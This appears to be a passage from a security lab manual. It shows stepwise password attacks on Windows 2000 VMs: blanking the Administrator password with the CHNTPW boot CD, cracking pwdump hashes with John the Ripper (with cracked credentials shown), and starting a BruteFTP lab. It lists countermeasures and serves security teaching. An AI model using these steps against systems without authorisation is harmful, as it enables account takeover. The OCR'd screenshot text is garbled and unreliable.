With the arrow keys highlight the number **3. CD-ROM Drive** and press the **Enter** key.



The machine will boot from the CHNTPW CD.

0	Windov	ıs 2000	Pro	fessi	onal -	¥Mwa	re W	orksta	ion:											_	
Fi	e Edit	View	V	4 Т	eam	Windo	ws	Help													
			9	Ø	(A)	10			9												
8	Windo	ws 2000	Pro	fessi	onal	in F	ted Ha	t Linux		Red H	lat Linu	ux 8 Se	erver		Window	s 2000 :	Server	۲ ا	Mindo	•	► ×
*****	(c) See Linu Enci Thai	1998 docs x ke ypti ks t			Pet ens ut rar or	ter e fi ilit y by boot	Nor leesh itlo	dahl on f (c) e Op ppys	-Hag lopi lot enSS tuff	en. y fe s o L p	Fre or H f pe roje	eely more eopl ect	non inf e, f	ree	merci n lic ly di	al d ense stri	istr and butal	ibut: crea ble	able dits	*****	
***	DISCI	AIME	R:	TH I THE CAU	S S AU SED	of THO	ARE CA THE	N NO N NO K M I	ES P BE S>US			SESP 115	TELY ONSI SOFT	L NO	HARF FOR	ANTI	ES! DAMA	ЗE		***:	
***	NOTE	The lik fro	e j	ehnt DES Jour	pw and co	bin oth untr	ary ers	, con wh	tair ich	ns ci May	rypi	ili	ahic egal	alto	yorit re-e	hms, xpor				****	
***	More Email	info	ai		ttp	://h dahl	ome @eu	.eun net.	et.r no	10/~3	pnor	rdah	1∕nt	pas	swd/					***	
**	****; СD Ъ.	ild	**i dai	(**) le:	*** Th	×××× u Ma	*** r 3	**** 21:	***) 21:1		×××) ET 2	2005	****	(****	****	****		****	÷¥	
LLRU U	ading ading ady. compi	r yml r ini essi	inu tra ng	lz l.gz Lir	 .u.x.																
																		Q			s)) //.

Because VMware machines use SCSI hard drives by default, no IDE drives will be discovered to change the password on.

🗐 Windows 2000 Professional - VMware Workstation		_ 🗆 🗵
File Edit View VM Team Windows Help		
🔂 Windows 2000 Professional 🔚 Red Hat Linux 🛛 🖬 Red Hat Linux 8 Server 🏻 🗗 Windows 2000 Server	🕞 Windo	∢ → ×
nedirect done, unpunt old randisk Preerandisk failed lott on /dev/rot: Device or resource busy Spawning anells on console 2 District Press of console 2 District Sation completer		
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX	******	
This utility will enable you to change or blank the password of a any user (incl. administrator) on an Mindows NT/ZEX/XP installatio # NITHOUT knowing the old password. Unlocking looked/disabled accounts also supported.	n ****	
* It also has a registry editor, and there is now support for * adding and deleting keys and values.	****	
* Tested on: NT3.51 & NT4: Horkstation, Server, PDC. Hindk Prof & Server to SP4. Cannot change AD. * Air Dene & Prof: up to SP2. Min 2003 Server (All7): Seems to work	***	
* # HINT: If things scroll by too fast, press SHIFT-PGUP/PGDOWN ************************************	* * *	
There are several steps to go through: - Digk select with optional loading of disk drivers - Pfile select, where are the Mindows systems files stored - Pfile select, where are the Mindows construction of the second - Then finally the password change or registry edit itself - If changes were made, write them back to disk		
DON'T PANIC! Usually the defaults are OK, just press enter all the way through the questions		
- Step ONE: Select disk where the Hindows installation is - Step ONE: Select disk where the Hindows installation is NT partitions found:		
please select partition by number or a = show all partitions, a automatically load new disk drivers m = manually proad mew disk drivers Select: 111 Select: 111		

Press the **M** key to manually load the SCSI drivers that are included on the CHNTPW CD.

🞯 Windows 2000 Professional - VMware Workstation	<u>_</u> _×
File Edit View VM Team Windows Help	
🚯 Windows 2000 Professional 📲 Red Hat Linux 📲 Red Hat Linux 8 Server 📑	Windows 2000 Server 🛛 📳 Windo 🛛 🔸 🗙
Heatrect done, ungunt old randisk umount: /initrd: Device or resource busy freerandisk: failed loct on Adev/root: Device or res Spawning Shells on console 2 - 6 mkdir: Cannot create directory '/floppy': File exist: Initialization complete!	source busy
$ \begin{array}{llllllllllllllllllllllllllllllllllll$	**************************************
* This utility will enable you to change or blank the # any user (incl. administrator) on an Mindows NT/2k. * MINDUT knowing the old password. * Unlocking locked/disabled accounts also supported.	e password of * /XP installation * * *
* It also has a registry editor, and there is now su * adding and deleting keys and values. *	eport for * * *
* Tested on: NT3.51.6 NT4: Morkstation, Server, PUC. * Min2k Prof & Server to SP4. Cannot chan * XP Home & Prof: up to SP2 Hin 2003 Server (all?): Seems to work	yeAD. * *
* HINT: If things scroll by too fast, press SHIFT-PG ***********	JP/PGDOWN
There are several steps to go through: - Diski select with optional loading of disk drivers - File select, where parts of registry sensed less s: - File select, where parts of registry sensed - Then finally the password change or registry edit - If changes were made, write them back to disk	===== tored itself
DON'T PANIC! Usually the defaults are OK, just press all the way through the questions	enter
• Step ONE: Select disk where the Hindows installati Disks: NT partitions found:	==== on is ====
Please select partition by number or: a = show all partitions, d = automatically load new of manual NTEOSE new disk drivers Select: [d] m	disk drivers

The SCSI drivers will scroll on the screen. You will need to press the **Enter** key once to complete the list.

Press the \mathbf{A} key to have CHNTPW try to auto-detect the correct driver by trying all the drivers.



CHNTPW will detect the virtual SCSI drive. Accept the default drive detected by pressing the **Enter** key.



Accept the default path to the Registry directory by pressing Enter.



Accept the default to perform a password reset by pressing the **Enter** key.



Accept the default of Edit user data and passwords and press Enter.

💽 Windows 2000 Professional - ¥Mware Workstation	_ 🗆 ×
File Edit View VM Team Windows Help	
🔐 Windows 2000 Professional 📲 Red Hat Linux 🎼 Red Hat Linux 8 Server 📑 Windows 2000 Server 🎼 Windows 2000 Server	•
Select which part of registry to load, use predefined choices or list the flees ith paceas delimiter A recovery console parameters recovering the selection of	
Sélected files: sam system security Copying sam system security to /tmp scsi0: Allocated 7 additional CCBs (total now 35)	
 Step THREE: Password or registry edit chntpw version 0.99.3 041205, (c) Petter N Hagen Hive's name (from header); (SystemBoot\System52\Config\SAM) ROOT KEV at offset: 0x001200 * Subkey indexing type is: 666c (1f) 	
rile size 20480 [5000] bytes, containing 4 pages (+ 1 headerpage) Used for data: 170/11896 blocks/bytes, unused: 4/4360 blocks/bytes. Hive's name (from header): SYSTEM) ROOT KEV at offset: 0x001020 * Subkey indexing type is: 666c (1f)	
rile size 2195456 [218000] bytes, containing 525 pages (+ 1 headerpage) Used for data: 32935/21752 blocks/bytes, unused: 5/2808 blocks/bytes, Hive's name (from header): (temBootSystem32\Config\SECUNITY) ROOT KEV at offset: 0x001020 * Sukkey indexing type is: 666c (1f)	
File size 24576 [6000] bytes, containing 5 pages (+ 1 headerpage) Used for data: 323/15952 blocks/bytes, unused: 6/4368 blocks/bytes.	
* SRM policy limits: Failed Logins before lockout is: 0 Hinimum password length : 0 Fassword history count : 0	
<>======<>> chntpw Main Interactive Menu <>======<>	
Loaded hives: <sam> <system> <security></security></system></sam>	
1 - Edit user data and passwords 2 - Syskey status & change 3 - RecoveryConsole settings	
9 - Registry editor, now with full write support! q - Quit (you will be asked if there is something to save)	
What to do? [1] -> _	
0	a file and

CHNTPW will determine all the user accounts on the computer. Accept the default user of Administrator (unless you know the Administrator has been changed — see previous labs) and press **Enter**.

🛐 Windows 2000 Professional - YMware Workstation	_ 🗆 🗵
File Edit View VM Team Windows Help	
🔐 Windows 2000 Professional 🔐 Red Hat Linux 🗿 Red Hat Linux 8 Server 📑 Windows 2000 Server 👘 Windo	∢ → x
Step THREE: Password or registry edit	
chntpw version 0.99.3 041205, (c) Petter N Hagen Hiug's name (from header): (SystemRootSystem32\Config\SAM) ROOT REV at offset: 0x001020 * Subkey indexing type is: 666c (1f)	
rile size 20480 [5000] bytes, containing 4 pages (* 1 headerpage) Used for data: 170/11836 blocks/bytes, unused: 4/4360 blocks/bytes. Hive's name (from header): (SYSTEM) ROOT KEV at offset: 0x001020 * SUBkey indexing type is: 666c (1f)	
rile size 2195456 [2480000] bytes, containing 525 pages (+ 1 headerpage) Used for data: 35255/2171752 block/lytes, unused 5/2808 blocks/bytes. Hive's name (rom header): (temBoot\System22\Config\SECUBITVOKs/bytes. ROOT REV at offset: 0x001020 # SUBkey indexing type is: 666c (1f)	
File size 24576 [6000] bytes, containing 5 pages (+ 1 headerpage) Used for data: 323/15952 blocks/bytes, unused: 6/4368 blocks/bytes.	
κ GMM policy limits: Failed logins before lockout is: 0 Minimum password length : 0 Password history count : 0	
<>======<> chntpw Main Interactive Menu <>=======<>	
Loaded hives: (sam) (system) (security)	
1 - Edit user data and passwords 2 - Syskey status & change 3 - RecoveryConsole settings	
9 - Registry editor, now with full write support! q - Quit (you will be asked if there is something to save)	
What to do? [1] ->	
===== chntpw Edit User Info & Passwords ====	
RID: 01f4, Username: (Administrator) RID: 01f5, Username: (Guest), *disabled or locked*	
Select: † - quit, list users, 0x(RID) - User with RID (hex) or simply enter the username to change: [Administrator]	

At this point, you may try to enter a new password for the Administrator account but I do not recommend it as it can cause problems.

💽 Windows 2000 Professional - ¥Mware Workstation	_ 🗆 🗵
File Edit View VM Team Windows Help	
🚯 Windows 2000 Professional 👔 Red Hat Linux 👔 Red Hat Linux 8 Server 🚯 Windows 2000 Server 👔 Windo	< → ×
File size 24576 [6000] bytes, containing 5 pages (+ 1 headerpage) Used for data: 323/15952 blocks/bytes, unused: 6/4368 blocks/bytes.	
* SAM policy limits: Failed logins before lockout is: 0 Hinimum password length 6 Fassword history count :0	
<>======<> chntpw Main Interactive Menu <>======<>	
Loaded hives: (sam) (system) (security)	
1 - Edit user data and passwords 2 - Syskey status & change 3 - RecoveryConsole settings	
9 - Registry editor, now with full write support! q - Quit (you will be asked if there is something to save)	
What to do? [1] ->	
===== chntpw Edit User Info & Passwords ====	
RID: 01f4, Username: (Administrator) RID: 01f5, Username: (Guest), *disabled or locked*	
Select: f - quit, list users, 0x(RID) - User with RID (hex) or simply enter the username to change: [Administrator] RID : 0500 [0144] Username: Administrator fullname: Built-in account for administering the computer/domain Dommedir :	
Account bits: 0x0210 = [] Jiasb guplicate [] Homedir req., [] Passwd not req. [] Jiasb guplicate [] Homedir account [] NMS account [] Jomäin trust ac [] Hks trust act. [] Jomäin trust ac [] Hks trust act. [X] Pwd don't expir [] Hks trust act. [] gunknown 0x10) [] gunknown 0x20) [] gunknown 0x20] [] gunknown 0x20]	
Failed login count: 0, while max tries is: 0 Total login count: 21	
₩ = blank the password (This may work better than setting a new password!) Enter nothing to leave it unchanged Please enter new password: _	

Instead of creating a new password for the Administrator account, blank the Administrator account by typing * and pressing **Enter**.

🗿 Windows 2000 Professional - VMware Workstation	_ 🗆 🗵
File Edit View VM Team Windows Help	
🔐 Windows 2000 Professional 👔 Red Hat Linux 👔 Red Hat Linux 8 Server 🕼 Windows 2000 Server 🕼 Windo	∢ → ×
File size 24576 [6000] bytes, containing 5 pages (+ 1 headerpage) Used for data: 323/15952 blocks/bytes, unused: 6/4368 blocks/bytes.	
* SAM policy limits: Failed Logins before lockout is: 0 Minimum password length 6 Fassword history count :0	
<>=======<> chntpw Main Interactive Menu <>=======<>	
Loaded hives: (sam) (system) (security)	
1 - Edit user data and passwords 2 - Syskey status å change 3 - RecoveryConsole settings	
9 - Registry editor, now with full write support! q - Quit (you will be asked if there is something to save)	
What to do? [1] ->	
===== chntpw Edit User Info & Passwords ====	
RID: 01f4, Username: <administrator> RID: 01f5, Username: <guest>, *disabled or locked*</guest></administrator>	
Select: t - quit list users, 0x(RID) - User with BTD (hex) or simply enter the username to change: [Administrator] RID mame: 6500 [01f4] Vullname: Administrator comment : Built-in account for administering the computer/domain homedir:	
Recount bits: 0x0210 = [] Disabled [] Homedir req. [] Passwd not req. [[] Disabled [] XI Normal account [] NMS account [] [] Domain trust ac [] Hks trust act [] Sro trust act [X] Pwd don't expir [] Hks truot lockout [] (unknown 0x60) [] (unknown 0x10) [] (unknown 0x20) [] (unknown 0x40)	
Failed login count: 0, while max tries is: 0 Total login count: 21	
w = blank the password (This may work better than setting a new password!) Enter nothing to leave it unchanged Please enter new password: *_	
	10 W) //

When asked if you really want to change the password, type **Y** and press **Enter**. ***Note:** If you answer No at this point, what is the point of using this tool?



Changed! This message appears and now you are left with an option to change other passwords or exit. Type in ! to exit the application and press **Enter**.

🗃 Windows 2000 Professional - YMware Workstation	_ 🗆 🗵
File Edit View VM Team Windows Help	
🔂 Windows 2000 Professional 📲 Red Hat Linux 📲 Red Hat Linux 8 Server 📑 Windows 2000 Server 📑 Windo	< → ×
<>======<>> chntpw Main Interactive Menu <>======<>>	
Loaded hives: <sam> <system> <security></security></system></sam>	
1 - Edit user data and passwords 2 - Syskey status & change 3 - AecoveryConsole settings	
9 - Registry editor, now with full write support! g - Quit (you will be asked if there is something to save)	
What to do? [1] ->	
===== chntpw Edit User Info & Passwords ====	
RID: 01f4, Username: {Administrator} RID: 01f5, Username: {Guest}, *disabled or locked*	
Select: t - quit list users, 0x(RID) - User with RID (hex) or simply enter the username to change: [Administrator] RID : 0500 [0:1f4] Username: Administrator Comment : Built-in account for administering the computer/domain homedir :	
Account bits: 0x0210 = [] Disabled = [] Homedir req. [] Passwd not req. [] Temp. duplicate [X] Normal account [] NMS account [] Domain trust ac [] Hks trust act [] Sru trust act [X] Pwd don't expir [] Auto lockout [] (unknown 0x40) [] (unknown 0x40) [] (unknown 0x20) [] (unknown 0x40)	
Failed login count: 0, while max tries is: 0 Total login count: 21	
* = blank the password (This may work better than setting a new password!) Enter nothing to leave it unchanged Please enter new password: * Blanking password!	
Do you really wish to change it? (y/n) [n] y Changed!	
Select: ! - quit, list users, 0x(RID) - User with RID (hex) or simply enter the username to change: [Administrator] !_	
오 ㅋ 문	😳 👀 //.

To quit CHNTPW type \boldsymbol{Q} and press the \boldsymbol{Enter} key.

💽 Windows 2000 Professional - VMware Workstation	_ U ×
File Edit View VM Team Windows Help	
🕞 Windows 2000 Professional 📲 Red Hat Linux 📲 Red Hat Linux 8 Server 📳 Windows 2000 Server 📳 Windo	< → ×
===== chntpw Edit User Info & Passwords ====	
RID: 01f4, Username: {Administrator} RID: 01f5, Username: {Guest}, *disabled or locked*	
Select: f - quit., - list users, 0x(RID) - User with RID (hex) or simPly enter the username to change: [Administrator] RID : 0500 [01f4] Username: Administrator Banistrator Comment : Built-in account for administering the computer/domain homedir :	
Account bits: 0x0210 = [] Disabled = [] Homedir reg. [] Passwd not reg. [] Disabled = [X] Normal account [] NMS account] Domain trust ac [] Hks trust act [] Stor trust act [X] Pwd don't expir [] Auto lockout [] (unknown 0x00) [] (unknown 0x00) [] (unknown 0x20)	
Failed login count: 0, while max tries is: 0 Total login count: 21	
* = blank the password (This may work better than setting a new password!) Enter mothing to leave it unchanged Please enter new password: * Blanking password!	
Do you really wish to change it? (y/n) [n] y Changed!	
Select: ! - quit, list users, @x(RID) - User with RID (hex) or simply enter the username to change: [Administrator] !	
<>======<> chntpw Main Interactive Menu <>=======<>	
Loaded hives: <sam> <system> <security></security></system></sam>	
1 - Edit user data and passwords 2 - Syskey status & change 3 - NecoveryConsole settings	
9 - Registry editor, now with full write support! g - Quit (you will be asked if there is something to save)	
What to do? [1] -> q	
오므문	••• •) //

When asked about writing the files back, type **Y** and press the **Enter** key.

💽 Windows 2000 Professional - YMware Workstation	<u>_ ×</u>
File Edit View VM Team Windows Help	
🔂 Windows 2000 Professional 📲 Red Hat Linux 📲 Red Hat Linux 8 Server 📳 Windows 2000 Server 🚯 Windo	< → ×
Username: Administrator Fullname: Built-in account for administering the computer/domain Comment : Nomedir :	
Account bits: 0x0210 =] Howskir res. [] Passwa not reg.] Temb dan licate [[] Horsai account [] Nes Account [] Domain Trust ac [] Hks trust act [] Srv trust act [] [] (unknown 0x18)] [] [] (unknown 0x28) [] [] (unknown 0x28) []	
Failed login count: 0, while max tries is: 0 Total login count: 21	
w = blank the password (This may work better than setting a new password!) Enter nothing to leave it unchanged Please enter new password: * Blanking password!	
Do you really wish to change it? (y/n) [n] y Changed!	
Select: ! - quit, list users, @x(RID) - User with RID (hex) or simply enter the username to change: [Administrator] !	
<>======<> chntpw Main Interactive Menu <>======<>	
Loaded hives: <sam> <system> <security></security></system></sam>	
1 - Edit user data and passwords 2 - Syskey status & change 3 - RecoveryConsole settings	
9 - Registry editor, now with full write support! g - Quit (you will be asked if there is something to save)	
What to do? [1] -> q	
Hi∪es that have changed: ∦ Name Ø ⟨Sam> - OK	
• Step FDUB: Hriting back changes About to write file(s) back! Do it? [n] : y_	
	•

When asked about a new run, accept the default answer of no and press **Enter**.

📓 Windows 2000 Professional - VMware Workstation	_ 🗆 🗵
File Edit View VM Team Windows Help	
🔂 Windows 2000 Professional 📲 Red Hat Linux 📲 Red Hat Linux 8 Server 📳 Windows 2000 Server 📳 Windo	∢ → ×
Select: ! - quit, list users, 0x(RID) - User with RID (hex) or simply enter the username to change: [Administrator] !	
<pre><>======<>> chntpw Main Interactive Menu <>======<>></pre>	
Loaded hives: <sam> <system> <security></security></system></sam>	
1 - Edit user data and passwords 2 - Syskey status & change 3 - AecoveryConsole settings	
9 - Registry editor, now with full write support! q - Quit (you will be asked if there is something to save)	
What to do? [1] -> q	
Hives that have changed: # Name Ø (Sam) - OK	
Ston FOUR: Weiting Lick oblogos	
About to write file(s) back! Do it? [n] : y Writing sam	
NOTE: A disk fixup will now be done it may take some time	
Mounting volume OK	
Processing of \$MFT and \$MFTMirr completed successfully.	
NTFS volume version is 3.0.	
Setting required flags on partition OK	
Going to empty the journal (\$LogFile) OK	
NTFS partition /dev/scsi/host0/bus0/target0/lun0/part1 was processed succe	ssfull
NOTE: Windows will run a diskcheck (chkdsk) on next boot. NOTE: this is to ensure disk intergity after the changes	
***** EDIT COMPLETE *****	
You can try again if it somehow failed, or you selected wrong New run? [n] : n_	
	Inter com

Remove CHNTPW and reboot the virtual computer. More than likely the machine will want to perform a file system check. Allow this check to complete.



The virtual computer will boot and bring up the log-in screen. Use the username of Administrator with **no password**. Press the **Enter** key.



The Windows Administrator now logs in.



Now the attacker has complete control over this computer. Had this been a domain controller, the attacker would now have control over the domain.



*Note: The fact that an attacker can get physical access to your server is bad enough. CHNTPW demonstrates how that access can cost you the data on your server or network. The reality is an attacker in this position would set up backdoors throughout the network and return from outside the building "at will."

Lab 57: Brute-Force Passwords

Brute-Force Passwords for a Hashed File: John the Ripper

Prerequisites: Hashed password file

Countermeasures: Strong Administrator passwords, strong password policy **Description:** John the Ripper (JtR) has been around seemingly forever. Its ability to brute-force passwords has a proven track record. It is flexible, fast, and efficient, which are all quality items to look for when cracking passwords. Remember that all commands in Linux are *case sensitive*.

Procedure: Configure, make, and execute with appropriate options against a file containing hashed passwords with the following syntax:

John<options> (Password File)

In this example, from the directory containing the hashed passwords, type:

rs 2000 Professional - VMware Workstati - | □ | × | File Edit View VM Team Windows Help 🕞 Windows 2000 Professional 👘 Red Hat Linux 👔 Re ₽ C:\WINNT\System32\cmd.e - 🗆 × loads\John the Ripper\john-16\run>john -i pwdum C. Centerne Explore 2 З \$ 🕱 Start 🛛 🖉 🌾 🗊 🖉 C:\WINNT\System32\... 🖉 John the Ripper passwor... 🔄 C:\Downloads\John the R... 🔆 🖗 🕮 🛛 10:56 PM

john -i pwdump

John will start to brute-force its way through the hashed passwords until it determines the correct password.



To interrupt the "cracking" process, hold down the **Ctrl** key and press the **C** key.



John keeps track of the passwords it finds for each hashed file. To verify what passwords were found, type:



john -show pwdump

The passwords will be displayed unencrypted in the hash file with information separated by a colon (:). The biggest ones of concern are the first three:

- Username
- Password
- User ID
- *Note: Remember that the user ID is important because a user account can be renamed. In this example this is a hashed file from a Windows target. Referring to Chapter 3, each user is assigned a static user ID. The Administrator account on a Windows machine will always be 500.

File Edit Vew VH Team Windows Help Windows 2000 Professional im Red Hallmun im Red Hallmun 8 Server Windows 2000 Professional im Red Hallmun im Red Hallmun 8 Server Windows 2000 Server Windows 2000 Robertal Windows 2000 Professional im Red Hallmun im Red Hallmun 8 Server Windows 2000 Server Windows 2000 Robertal	🗐 Windows 2	000 Professional - VMware Workstation	_10 ×
Windows 2000 Professional The Hel Linux () Th	File Edit V	iew VM Team Windows Help	
Windows 2000 Professional Image: Bed Hid Linux () image: Bed Hid Linux () Server Image: Bed Hid Lin			
With Documents Benote Bettern Wy Conputer C:\UNNYLSystem32\cmdesse Wy Conputer C:\UNNYLSystem32\	Windows 2	1999 Professional 📓 Red Hat Linux 📲 Red Hat Linux & Server 📳 Windows 2000 Server 📲 Window	vs 2000 Advan 🛛 🔸 🗙
Hy Documents Render Desktop Wy Documents Render Desktop Wy Documents CCWINNT(System32/cmdexe Wy Congular CCWINNT(System32/cmdexe Wy Documents CCWINNT(System32/cmdexe Wy Congular CCWINNT(System32/cmdexe			
Westurger: Wight and the second sec	My Documents	Remote	
Image: Comparison of the second state of the second sta			
Compare Compare		The CAMINAT's Euclass 22 and out	
G: Noum Loads Nohn the Ripper/John-16 Vrum John -1 pudump pried 1 April 14/32 4K1) Finded I (Second Second Secon	My Computer	in the winner (system 52 (cmutexe	
Alic: (Current) Alic: (Current) Cit: (Current)	<u>69</u> 9	C: VDownloads\John the Klpper\John-lb\Fun/John -1 pwdump Loaded 14 passwords with no different salts (NT LM DES [24/32 4K])	_
123 (dninistrator>) Wesses: Line: 0:00:00:13 c/s: 879266 trying: BELPELE - STIEFAX Vession aborted Vession aborted <td< td=""><td>My Network</td><td>ABC (user1) GHI (user3)</td><td></td></td<>	My Network	ABC (user1) GHI (user3)	
Session aborted Session aborted C: Nounload: John the Ripper/john-16/run/john -show pudunp Administrator:123:5003.000.000 / PRSSU087503-2000/8902523003.000 C: Session aborted C: Nounload: Scolar in the ripper/john-16/run/) Description C: Download: John the Ripper/john-16/run/) Session Session Landon Session Session <tr< td=""><td>Places</td><td>123 (Administrator) guesses: 4 time: 0:00:00:13 c/s: 879266 trying: BELPELE - STIEFAX</td><td></td></tr<>	Places	123 (Administrator) guesses: 4 time: 0:00:00:13 c/s: 879266 trying: BELPELE - STIEFAX	
Recycle Bin Miniminister with 2012 12:00:000 DBB / 2027 / 2007 / 2004 DBB / 2228 / 2012 /	10	Session aborted	
Wieneri-ABC:1008:E00B03826500ErGe6EFFICH452D8885E53::: Wieneri-ABC:1008:E00B0382630EFFICH452D8885E53::: Wieneri-ABC:1008:E00B03284083283858630EFFICH452D8885E53::: Patement Spasswords cracked, J D left C:\Downloads\John the Ripper\John-16\run> Spasswords Joseffer Spasswords Spasswords Landoy Joseffer Spasswords Spasswords Landoy Spasswords Landoy Spasswords Landoy Spasswords Spasswords <td>Recycle Bin</td> <td>Administrator:123:500:3DBDE697D71690076294BEB12283678::: Guest:NO PASSWORD:501:NO PASSWORD*****************************</td> <td></td>	Recycle Bin	Administrator:123:500:3DBDE697D71690076294BEB12283678::: Guest:NO PASSWORD:501:NO PASSWORD*****************************	
With and the file of public to 34 kb ab 200 b 200 b 200 b 30 b 10 b 17 y 00 ft ft Second cracked, 10 left Endown C: \Downloads\John the Ripper\john-16\run> Information C: \Downloads\John the Ripper\john-16\run> Information		user1:ABC:1008:E0FBA38268D0EC66EF1CB452D5885E53::: user2:DEF:1009:68171E55D24504226EA78B58733C24C7:::	
Interest C:\Downloads\John the Ripper\John-16\run> Interest C:\Downloads\John the Ripper\John-16\run> Interest Interest Interest Interes Interes	e	user3:GH1:1010:DyDy0CF334b83b28B3BbB08B3BHD1790::: 5 passwords cracked 10 left	
Lon Gyr Lon edint II all	Internet Explorer	C:\Downloads\John the Ripper\john-16\run>	
Lardsy			
Lanspy 2. Schiffer S LiberthT.dl Start]] @ @ Ql] C:\WINNT\System32\ @John the Roper passwor] C: Downloads\John the R] Q:@ @ 11:05 PM C: [C: PA mail of C:] [C: [C: PA mail of C:]] [C: [C: [C: PA mail of C:]] [C:			-
2.5mfer 2.5mfer S LbnethT.dl Start] @ @ Ql] C:\WINNT\System32\ @John the Roper passwor] C: Downloads\John the R Q:@ @ 11:05 PM D: [] P R R R R R R R R R R R R R R R R R R	Lanspy		
2.Senfer	33		
ତ୍ତି LibrethT.dl କ୍ରିStart] ମାନ୍ତ ଦ୍ୱୋ କ୍ରିସେମ୍ବା କ୍ରୋପନା the Reper passwor ୍ରିସେମ୍ପର୍କାରଣରାରାମ the R ଦିଲୋକ୍ର 11:65 PM	Z::Sniffer		
Libreh Tridi Start]]] @ @ Qi] Start]] @ C:\WINNT\System3Z\ @John the Roper passwor]	æ		
劉Start] 」 金 ② 圖C:\WINT\System32\ 創加h the Ripper passwor 」 C:\Downloads\John the R	LibnetNT_dll		
	Start 7	A C M Company Contemposition the Disper partners Contemposed John the D	
	Set search 1	The car []] are clamatication (*] Source of other bestarres [Critication of Ker	

Linux has been running John the Ripper much longer than Windows. From the directory containing the compressed files, type **tar –zxvf john-1.6.tar.gz**.

The files will uncompress into a new directory named **john-1.6**.

Change to the new directory by typing **cd john-1.6** and pressing the **Enter** key.

Next change to the **src** directory by typing **cd src** and pressing the **Enter** key.

John the Ripper for Linux requires you to compile the application for the machine type it is going to be running on. Many times, as in this example, you can use the **generic** build by typing:

make generic



The application will now build for the machine it is on.

🗐 Red Hat Linux - YMware Workstation	- 🗆 🗵
File Edit View VM Team Windows Help	
A Hone in Windows 2000 Professional Red Hat Linux a Server in Windows 2000 Server in Windows	A F X
root@localhost~/tools/johntheripper/john=1.6/src	
Elle Edit View Terminal Go Help	
gcc -c -Wall -02 -fomit-frame-pointer -funroll-loops loader.c	
gcc -c -Wall -02 -fomit-frame-pointer -funroll-loops logger.c	
gcc -c -wall -02 -fomit-frame-pointer -funroll-loops math.c	
gec -c -wall -02 -tomit-frame-pointer -funcoin-toops options.c	
get - c -wall -02 -fomit-frame-pointer -function-loops recovery.	
scc - c - Wall -02 - fomit-frame-pointer -funroll-loops rules.c	
gcc -c -Wall -02 -fomit-frame-pointer -funroll-loops single.c	
gcc -c -Wall -O2 -fomit-frame-pointer -funroll-loops status.c	
gcc -c -Wall -02 -fomit-frame-pointer -funroll-loops wordlist.c	
gcc -c -Wall -O2 -fomit-frame-pointer -funroll-loops unshadow.c	
gcc -c -Wall -O2 -fomit-frame-pointer -funroll-loops unafs.c	
gcc -c -Wall -02 -fomit-frame-pointer -funroll-loops unique.c	
gcc -s DES_bs.o DES_bs_b.o DES_fmt.o DES_std.o BSDI_fmt.o MD5_fmt.o MD5_std.o BF	
_fmt.o BF_std.o AFS_fmt.o LM_fmt.o batch.o bench.o charset.o common.o compiler.o	
config.o cracker.o external.o formats.o getopt.o idle.o inc.o john.o list.o loa	
der.o logger.o math.o memory.o misc.o options.o params.o path.o recovery.o rpp.o	
rules.o signais.o single.o status.o tiy.o wordlist.o unshadow.o unais.o unique.	
ln_e_iohn //un/john	
In -s john //un/unstadow	
In -s john/run/unique	
<pre>make[1]: Leaving directory `/root/tools/johntheripper/john-1.6/src'</pre>	
[root@localhost src]#	
	u Nov 17
	L:35 AM

To execute John, change to the correct directory by typing:

cd ../run

폐 Red Hat Linux - VMware Workstation	_ 🗆 ×
File Edit View VM Team Windows Help	
A Home 🗿 Windows 2000 Professional 🔗 Red Hat Linux 👘 Red Hat Linux 8 Server 🗗 Windows 2000 Server 👘 Windows	4 • ×
💙 root@localhost:~/tools/johntheripper/john-1.6/src	
Eile Edit View Terminal Go Help	
gcc -c -Wall -O2 -fomit-frame-pointer -funroll-loops loader.c	
gcc -c -Wall -O2 -fomit-frame-pointer -funroll-loops logger.c	
gcc -c -Wall -02 -fomit-frame-pointer -funroll-loops math.c	
gcc -c -Wall -O2 -fomit-frame-pointer -funroll-loops options.c	
gcc -c -Wall -O2 -fomit-frame-pointer -funroll-loops recovery.c	
gcc -c -Wall -O2 -fomit-frame-pointer -funroll-loops rpp.c	
gcc -c -Wall -O2 -fomit-frame-pointer -funroll-loops rules.c	
gcc -c -Wall -O2 -fomit-frame-pointer -funroll-loops single.c	
gcc -c -Wall -02 -fomit-frame-pointer -funroll-loops status.c	
gcc -c -Wall -02 -fomit-frame-pointer -funroll-loops wordlist.c	
gcc -c -Wall -02 -fomit-frame-pointer -funroll-loops unshadow.c	
gcc -c -Wall -02 -fomit-frame-pointer -funroll-loops unafs.c	
gcc -c -wall -02 -fomit-frame-pointer -funroll-loops unique.c	
gcc -s DES_DS.O DES_DS_D.O DES_INT.O DES_STO.O BSD1_INT.O MD5_INT.O MD5_STO.O BF	
_INT.0 BF_STG.0 AFS_INT.0 LM_INT.0 Datcn.0 bench.0 charset.0 common.0 compiler.0	
coning.o cracker.o external.o formats.o getopt.o idle.o inc.o jonn.o list.o ioa	
arto logger.o math.o memory.o misc.o options.o paths.o path.o recovery.o rpp.o	
a a (yun/iahn	
ln -s ichn / run/unshadow	
In -s john/uninadow	
In -s john -/ run/unique	
make[1]: Leaving directory '/root/tools/johntheripper/john-1.6/src'	
[root@localhost src]# cd/run	
	Nov 17
	.35 AM

After placing a hashed file into this directory, type: john -i pwdump



The passwords will be broken and displayed on the screen.



To interrupt the "cracking" process hold down the **Ctrl** key and press the **C** key.



John keeps track of the passwords it finds for each hashed file. To verify what passwords were found, type:

john -show pwdump



The passwords will be displayed unencrypted in the hash file with information separated by a colon (:). The biggest ones of concern are the first three:

- Username
- Password
- User ID
- *Note: User ID is important because a user account can be renamed. In this example this is a hashed file from a Windows target. Referring to Chapter 3, each user is assigned a static user ID. The Administrator account on a Windows machine will always be 500.

John the Ripper allows for the cracking of Linux/Unix password files as well. The only limitation is if the password is "shadowed" with an asterisk (*).

Lab 58: Brute-Force FTP Password

Brute-Force an FTP Password Connection: BruteFTP

Prerequisites: None

- **Countermeasures:** Secured FTP, known as Secured Shell Client (SSL) or Secure FTP Client (SFTP)
- **Description:** File Transfer Protocol (FTP) is used to transfer files between computers and is still widely in use. The biggest flaw with FTP is that it is unencrypted in nature (plain text) and if intercepted can be read easily, including the usernames, passwords, and data.

Procedure : Install the application, select the target, and execute.

Double-click on the BruteFTP icon to start the application.



You may receive an MSWINSCK.OCX file error. Click OK.



I have included the needed files on the accompanying CD, or you can download them from the Internet. Double-click on the **libraryfiles.exe** icon to start the installation of the needed files.



The Welcome screen will be displayed. Click Next.

